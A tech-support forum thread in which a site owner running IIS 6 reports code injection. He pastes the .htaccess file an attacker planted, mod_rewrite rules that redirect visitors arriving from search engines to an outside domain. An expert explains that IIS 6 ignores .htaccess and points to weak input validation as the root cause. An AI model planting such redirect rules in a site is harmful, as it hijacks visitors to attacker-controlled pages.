Learn how to a build a cloud-first strategyRegister Now

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 939
  • Last Modified:

How to disable .htaccess on IIS6 ?

Hello experts,

Is there any way to  disable .htaccess on IIS 6 ?

Thanks in advace
Jaimin Patel
0
dotsandcoms
Asked:
dotsandcoms
  • 4
  • 2
1 Solution
 
Chris DentPowerShell DeveloperCommented:

Normally the question is how to enable it since IIS 6 has no support for htaccess. So what are you trying to disable?

Chris
0
 
dotsandcomsAuthor Commented:
Actually we are facing problem of some code injection in to our sites, which causes damage to the sites.

All the sites which are damaged a .htaccess file created in the root folder and the file consits the url rewring code/redirectin code.

We think that this may be cause by .htaccess file.
So we want to stop this.

Jaimin Patel
0
 
Chris DentPowerShell DeveloperCommented:

I'd be surprised, you have to make quit a lot of effort to replace the functionality lost by htaccess not working with IIS. Do you have any ISAPI modules installed that might be able to parse the file? Otherwise, does the redirection / rewrite actually work (I would be surprised if you said yes).

Basically, in my opinion stopping a HTAccess file appearing will not fix the underlying problem (it suggests weak input validation within the site), from your description its presence is simply a side-effect of the attack.

Chris
0
 [eBook] Windows Nano Server

Download this FREE eBook and learn all you need to get started with Windows Nano Server, including deployment options, remote management
and troubleshooting tips and tricks

 
dotsandcomsAuthor Commented:
This is the .htaccess file which created automaticall.
Can you please explain me what will do it ?

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
 
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
 
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://conservy.info/0/go.php?sid=2 [R,L]
0
 
Chris DentPowerShell DeveloperCommented:

Nothing because IIS 6 can't do that (it requires mod_rewrite).

But if it were Apache, it would redirect requests to the URL in RewriteRule if the server variable HTTP_REFERER matched any of the conditions. You could see the contents of the variable using ASP with Request.ServerVariables("HTTP_REFERER").

Chris
0
 
Chris DentPowerShell DeveloperCommented:

I object to the deletion. I consider "IIS 6 does not support HTAccess" to be a correct answer, even if it isn't the one you wanted to hear.

Chris
0

Featured Post

Transaction-level recovery for Oracle database

Veeam Explore for Oracle delivers low RTOs and RPOs with agentless transaction log backup and transaction-level recovery of Oracle databases. You can restore the database to a precise point in time, even to a specific transaction.

  • 4
  • 2
Tackle projects and never again get stuck behind a technical roadblock.
Join Now